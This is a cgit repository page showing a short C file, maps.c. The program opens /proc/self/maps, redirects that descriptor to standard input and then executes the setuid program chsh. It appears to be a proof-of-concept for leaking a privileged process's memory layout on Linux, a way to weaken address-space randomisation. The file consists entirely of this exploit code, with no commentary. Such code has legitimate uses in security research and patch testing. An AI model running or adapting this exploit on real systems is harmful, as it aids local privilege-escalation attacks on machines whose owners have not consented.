aboutsummaryrefslogblamecommitdiffstats
path: root/maps.c
blob: 0e8117c051d816d3fc540b89e91b1f90992d2536 (plain) (tree)
1
2
3
4
5
6
7
8
9
10
11
12

                   
                   








                                                   
#include <unistd.h>
#include <fcntl.h>
#include <stdlib.h>

int main(int argc, char **argv)
{
	
	int fd = open("/proc/self/maps", O_RDONLY);
	dup2(fd, 0);
	execl("/usr/bin/chsh", "chsh", NULL);
	return 0;
}